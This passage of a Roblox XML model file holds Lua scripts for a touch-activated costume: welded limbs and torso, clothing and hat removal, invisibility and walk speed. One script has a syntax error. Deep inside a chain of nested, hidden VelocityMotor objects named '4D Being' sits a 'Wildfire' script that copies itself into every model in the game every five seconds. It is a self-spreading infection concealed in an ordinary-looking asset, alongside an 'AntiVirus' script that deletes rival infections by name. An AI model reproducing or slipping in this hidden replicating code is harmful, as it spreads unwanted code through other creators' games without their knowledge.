					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX316">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm1&quot;) == nil then
		local g = script.Parent.Parent.Arm1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX317">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ur1g0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX318">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg1&quot;) == nil then
		local g = script.Parent.Parent.Leg1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX319">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2iwih8</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="CylinderMesh" referent="RBX320">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX321">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xmoodt</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX322">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">HatRemover</string>
						<string name="Source">function onTouched(hit) 
	local d = hit.Parent:GetChildren() 
	for i=1, #d do 
		if (d[i].className == &quot;Hat&quot;) and
		if (d[i].Name == &quot;Hair&quot;) then
			d[i]:remove() 
		end 
	end
end 

script.Parent.Touched:connect(onTouched) </string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX323">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX324">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ChangeShirt/Pants</string>
						<string name="Source">--theRal

worker = false
part = script.Parent

function onTouch(hit)
	local human = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if (human ~= nil) and (worker == false) then
		print (&quot;Success&quot;)
		worker = true
		wait(.1)
		local pant = hit.Parent:GetChildren()
		for i=1,#pant do
		if (pant[i].className == &quot;Pants&quot;) then
			pant[i].PantsTemplate = &quot;&quot;
			end
		end
		local shirt = hit.Parent:GetChildren()
		for i=1,#shirt do
		if (shirt[i].className == &quot;Shirt&quot;) then
			shirt[i].ShirtTemplate = &quot;&quot;
			wait(1)
			worker = false
			end
		end
	end
end

script.Parent.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX325">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">h8gnkeh</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX326">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function onTouch(part) 
local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if human ~= nil then 
part.Parent:findFirstChild(&quot;Head&quot;).BrickColor = BrickColor.new(125)
part.Parent:findFirstChild(&quot;Head&quot;).Transparency = 0.98
part.Parent:findFirstChild(&quot;Torso&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Torso&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Left Leg&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Right Leg&quot;).Transparency = 1
end 
end 
script.Parent.Touched:connect(onTouch) 

--COLORS

--1 = white
--208 = Light stone grey
--194 = Medium stone grey
--199 = Dark stone grey
--26 = Black
--21 = Bright red
--24 = Bright yellow
--226 = Cool yellow
--23 = Bright blue
--107 = Bright bluish green
--102 = Medium blue
--11 = Pastel blue
--45 = Light blue
--135 = Sand blue
--106 = Bright orange
--105 = Br. yellowish orange
--141 = Earth green
--28 = Dark green
--37 = Bright green
--119 = Br. yellowish green
--29 = Medium green
--151 = Sand green
--38 = Dark orange
--192 = Reddish brown
--104 = Bright violet
--9 = Light reddish violet
--101 = Medium red
--5 = Brick Yellow
--153 = Sand red
--217 = Brown
--18 = Nougat
--125 = Light orange

</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX327">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p2qr0i</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX328">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">WalkSpeed Script</string>
						<string name="Source">local debounce = false 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then 

debounce = true 

human.WalkSpeed = 16-- or whatever number 

wait(2) 
debounce = false 
end 
end 


script.Parent.Touched:connect(onTouch) 
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX329">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1j62htbs</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX330">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg2&quot;) == nil then
		local g = script.Parent.Parent.Leg2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX331">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">rbxa11</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX332">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm2&quot;) == nil then
		local g = script.Parent.Parent.Arm2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX333">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2p9wkr5c</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX334">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Torso</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Chest&quot;) == nil then
		local g = script.Parent.Parent.Chest:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent.Torso
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end
end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX335">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3b3i6j</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX336">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">2846wgwjj</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX337">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">2sv8</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="VelocityMotor" referent="RBX338">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="VelocityMotor" referent="RBX339">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<float name="CurrentAngle">0</float>
						<float name="DesiredAngle">0</float>
						<Ref name="Hole">null</Ref>
						<float name="MaxVelocity">0</float>
						<string name="Name">4D Being</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="VelocityMotor" referent="RBX340">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<float name="CurrentAngle">0</float>
							<float name="DesiredAngle">0</float>
							<Ref name="Hole">null</Ref>
							<float name="MaxVelocity">0</float>
							<string name="Name">4D Being</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="VelocityMotor" referent="RBX341">
							<Properties>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<float name="CurrentAngle">0</float>
								<float name="DesiredAngle">0</float>
								<Ref name="Hole">null</Ref>
								<float name="MaxVelocity">0</float>
								<string name="Name">4D Being</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="VelocityMotor" referent="RBX342">
								<Properties>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<float name="CurrentAngle">0</float>
									<float name="DesiredAngle">0</float>
									<Ref name="Hole">null</Ref>
									<float name="MaxVelocity">0</float>
									<string name="Name">4D Being</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="VelocityMotor" referent="RBX343">
									<Properties>
										<CoordinateFrame name="C0">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<CoordinateFrame name="C1">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<float name="CurrentAngle">0</float>
										<float name="DesiredAngle">0</float>
										<Ref name="Hole">null</Ref>
										<float name="MaxVelocity">0</float>
										<string name="Name">4D Being</string>
										<Ref name="Part0">null</Ref>
										<Ref name="Part1">null</Ref>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="VelocityMotor" referent="RBX344">
										<Properties>
											<CoordinateFrame name="C0">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<CoordinateFrame name="C1">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
												<R00>1</R00>
												<R01>0</R01>
												<R02>0</R02>
												<R10>0</R10>
												<R11>1</R11>
												<R12>0</R12>
												<R20>0</R20>
												<R21>0</R21>
												<R22>1</R22>
											</CoordinateFrame>
											<float name="CurrentAngle">0</float>
											<float name="DesiredAngle">0</float>
											<Ref name="Hole">null</Ref>
											<float name="MaxVelocity">0</float>
											<string name="Name">4D Being</string>
											<Ref name="Part0">null</Ref>
											<Ref name="Part1">null</Ref>
											<bool name="archivable">true</bool>
										</Properties>
										<Item class="VelocityMotor" referent="RBX345">
											<Properties>
												<CoordinateFrame name="C0">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<CoordinateFrame name="C1">
													<X>0</X>
													<Y>0</Y>
													<Z>0</Z>
													<R00>1</R00>
													<R01>0</R01>
													<R02>0</R02>
													<R10>0</R10>
													<R11>1</R11>
													<R12>0</R12>
													<R20>0</R20>
													<R21>0</R21>
													<R22>1</R22>
												</CoordinateFrame>
												<float name="CurrentAngle">0</float>
												<float name="DesiredAngle">0</float>
												<Ref name="Hole">null</Ref>
												<float name="MaxVelocity">0</float>
												<string name="Name">4D Being</string>
												<Ref name="Part0">null</Ref>
												<Ref name="Part1">null</Ref>
												<bool name="archivable">true</bool>
											</Properties>
											<Item class="Script" referent="RBX346">
												<Properties>
													<bool name="Disabled">false</bool>
													<Content name="LinkedSource"><null></null></Content>
													<string name="Name">Script</string>
													<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
													<bool name="archivable">true</bool>
												</Properties>
												<Item class="Model" referent="RBX347">
													<Properties>
														<CoordinateFrame name="ModelInPrimary">
															<X>0</X>
															<Y>0</Y>
															<Z>0</Z>
															<R00>1</R00>
															<R01>0</R01>
															<R02>0</R02>
															<R10>0</R10>
															<R11>1</R11>
															<R12>0</R12>
															<R20>0</R20>
															<R21>0</R21>
															<R22>1</R22>
														</CoordinateFrame>
														<string name="Name">4D Being</string>
														<Ref name="PrimaryPart">null</Ref>
														<bool name="archivable">true</bool>
													</Properties>
													<Item class="Script" referent="RBX348">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">Wildfire</string>
															<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
													<Item class="Script" referent="RBX349">
														<Properties>
															<bool name="Disabled">false</bool>
															<Content name="LinkedSource"><null></null></Content>
															<string name="Name">AntiVirus</string>
															<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
															<bool name="archivable">true</bool>
														</Properties>
													</Item>
												</Item>
											</Item>
										</Item>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX350">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
